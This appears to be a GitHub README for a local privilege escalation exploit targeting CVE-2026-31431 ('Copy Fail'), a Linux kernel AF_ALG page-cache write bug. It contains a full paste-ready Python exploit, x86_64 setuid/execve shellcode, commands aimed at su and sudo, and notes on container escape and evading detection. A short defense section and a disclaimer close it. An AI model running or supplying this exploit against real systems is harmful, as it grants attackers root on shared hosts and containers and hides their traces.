Skip to content

shadowabi/CVE-2026-31431-CopyFail-Universal-LPE

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

12 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2026-31431 "Copy Fail" — Universal LPE Exploit

Linux kernel page cache 4-byte arbitrary write → Local Privilege Escalation

Multiple exploit approaches: dynamic ELF entry point overwrite, full binary replacement, Python 3.x compatible with ctypes splice fallback.

What is this?

CVE-2026-31431 is a vulnerability in the Linux kernel's AF_ALG crypto subsystem. By abusing splice() + authencesn in-place decryption, an unprivileged user can write 4 bytes at an arbitrary offset in the kernel's page cache — the same cache used for all file-backed memory.

This means:

  • No race conditions — single-threaded, deterministic
  • No special privileges — works inside default Docker containers (seccomp allows AF_ALG)
  • No kernel version dependency — affects all kernels from 2017 to present
  • Modifies files in memory only — disk is untouched, reboot erases all traces

Exploit Approaches

This repository provides three tools using the same AF_ALG copy-fall primitive:

Dynamic Entry Point Full Binary Replace Vuln Checker
File exploit.py poc_compatible.py check_cve.sh
Strategy Overwrites ELF entry point with shellcode Replaces entire binary from offset 0 Tests if target is vulnerable
Target Any x86_64 SUID binary Any binary (SUID or not) N/A
Python 3.x (all versions) 2 / 3 Bash
Payload 36 bytes shellcode zlib-compressed full ELF N/A
Author This work h4ppy7ree h4ppy7ree

Dynamic entry point — Parses the ELF header at runtime to calculate the entry point file offset (p_offset + (e_entry - p_vaddr)), then writes a small shellcode stub. No hardcoded offsets — one script works on any x86_64 SUID binary regardless of distribution or version.

Full binary replace — Overwrites the target from offset 0 with a complete pre-built ELF payload (zlib-compressed and embedded in the script). Can target non-SUID binaries executed by privileged processes (cron jobs, systemd services, kube-proxy). Works with Python 2.

Vulnerability checker — Tests whether the target system has AF_ALG, authencesn, and algif_aead available before running an exploit.

Quick Start

Prerequisites

  • Linux kernel (any version since ~2017)
  • Python 3.x (for exploit.py; Python 2 supported via poc_compatible.py)
  • Any SUID-root binary (/usr/bin/su, /usr/bin/sudo, etc.)

One-liner Reproduction

# Create a test container with an unprivileged user
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

Then inside the container as testuser:

# Before: setuid(0) fails because real uid is not 0
/usr/local/bin/verify
# uid=1000 euid=0
# (exits normally, no root)

# Run the exploit
python3 exploit.py /usr/local/bin/verify

# After: entry point overwritten, shellcode gets root
# uid=0(root) gid=1000(testuser)

One-liner (no file transfer needed)

In real scenarios you often only have a raw shell — no scp, no curl, no wget. This method uses cat heredoc to write the exploit directly in terminal:

# Option 1: run the shell script
sh exploit-one-liner.sh /usr/local/bin/verify

# Option 2: paste directly into terminal (copy the entire block)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

Why this matters: Container environments often lack file transfer tools (scp, curl, wget). The heredoc method requires only cat and python3 — available everywhere.

Targeting Other SUID Binaries

You can replace /usr/local/bin/verify with any SUID-root binary:

python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ Warning: Targeting system SUID binaries (like /usr/bin/su) affects all users on the system. The binary becomes unusable until page cache is cleared. On the host machine, any user running su would get a root shell.

On a shared/production system, this is immediately noticeablesu will crash or spawn unexpected shells for everyone. Use verify.c for safe testing.

Recovery

The exploit only modifies page cache (memory), not disk. Recovery options:

Method Where Command
Drop page cache Host (root) echo 3 > /proc/sys/vm/drop_caches
Reboot Anywhere reboot — page cache is volatile
Container destroyed Anywhere docker rm — page cache released with container
# On the host (after container testing):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# Verify recovery:
xxd -l 8 /usr/bin/su
# Should show: 7f45 4c46 (.ELF)

Note: Inside a default (non-privileged) container, echo 3 > /proc/sys/vm/drop_caches fails with Read-only file system — this requires host access or container destruction.

Attack Surface

Vector Works? Details
LPE (local user → root) ✅ Yes Overwrite SUID binary entry point
Container escape (default) ❌ No overlayfs per-mount page cache isolation
Container escape (host write) ✅ Yes Write via /proc/PID/root/ from host
Cross-container (host write) ✅ Yes Same inode → shared lower-layer page cache

How It Works

The Vulnerability

The kernel's authencesn AEAD algorithm has a bug in its in-place decryption path:

  1. User creates an AF_ALG socket with authencesn(hmac(sha256), cbc(aes))
  2. User calls splice() to feed file data into the crypto socket — this maps page cache pages directly into the kernel's scatterlist
  3. During decryption, authencesn writes 4 bytes of seqno_lo after the authentication tag
  4. By controlling the associated data length and IV layout, the attacker controls where those 4 bytes land

Result: 4-byte arbitrary write to any page-cached file.

The Exploit

┌─────────────────────────────────────────────────────┐
│  ELF Binary (/usr/bin/su)                           │
│                                                     │
│  0x0000: ┌──────────┐                               │
│          │ ELF Header │  e_entry = 0x4013f0         │
│          │           │  ← parse dynamically         │
│          └──────────┘                               │
│  ...                                                │
│  0x3f20: ┌──────────┐  ← calculated file offset    │
│          │ orig code │                               │
│          │           │  ─── copy fall writes ───→   │
│          │ SHELLCODE │  setuid(0) + execve("/bin/sh")│
│          └──────────┘                               │
│  ...                                                │
└─────────────────────────────────────────────────────┘

When kernel loads the SUID binary, it sets euid=0, then jumps to entry point.
Entry point is now our shellcode → setuid(0) succeeds → root shell.

Shellcode

xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; null terminator
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; filename
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)

36 bytes, 9 copy-fall writes (4 bytes each).

Why This Matters

Container Security

Default Docker containers are not protected from this:

Protection Status
Seccomp ✅ AF_ALG allowed by default
User namespaces ❌ Not used in default Docker
AppArmor/SELinux ❌ Does not restrict AF_ALG
Capability dropping ❌ No special caps needed

The only thing stopping container escape is overlayfs's per-mount page cache isolation. But once you have root inside the container, standard escape techniques apply (cgroup release_agent, docker.sock, K8s serviceaccount tokens, cloud metadata).

Detection Difficulty

  • Disk is never modified — page cache writes are memory-only
  • No new files created — exploit is a single Python script
  • No kernel module loaded — pure syscall abuse
  • Reboot erases all evidence — page cache is volatile

Affected Systems

Every Linux kernel since the algif_aead in-place conversion (merged ~2017), including:

  • Ubuntu 18.04 / 20.04 / 22.04 / 24.04
  • Debian 10 / 11 / 12
  • RHEL 8 / 9
  • CentOS Stream
  • Amazon Linux 2 / 2023
  • Docker containers (default seccomp profile)
  • Kubernetes pods (default configurations)
  • WSL2 (confirmed)

File Structure

.
├── exploit.py              # Dynamic ELF entry point overwrite (Python 3.x)
├── exploit-one-liner.sh    # Paste-friendly version (no file transfer needed)
├── poc_compatible.py       # Full ELF binary overwrite from offset 0 (Python 2/3, by h4ppy7ree)
├── poc_ctypes.py           # ctypes splice for Python 3.0-3.9 (by h4ppy7ree)
├── check_cve.sh            # Vulnerability checker (by h4ppy7ree)
├── verify/
│   └── verify.c            # SUID verification program for testing
└── README.md               # This file

Defense

  • Apply kernel patch — upstream fix available
  • Seccomp: Block AF_ALG domain (socket(AF_ALG, ...)errno)
  • AppArmor: Deny af_alg socket creation
  • Kernel hardening: CONFIG_CRYPTO_USER_API_AEAD=n
  • Monitoring: Audit socket(AF_ALG=38, SOCK_SEQPACKET=5, 0) syscalls

Credits

Disclaimer

This exploit is provided for authorized security research and educational purposes only. Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this program.

License

MIT

About

CVE-2026-31431 Copy Fail — Universal LPE exploit. Dynamic ELF offset + full-binary overwrite, Python 2/3 compatible with ctypes splice fallback

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors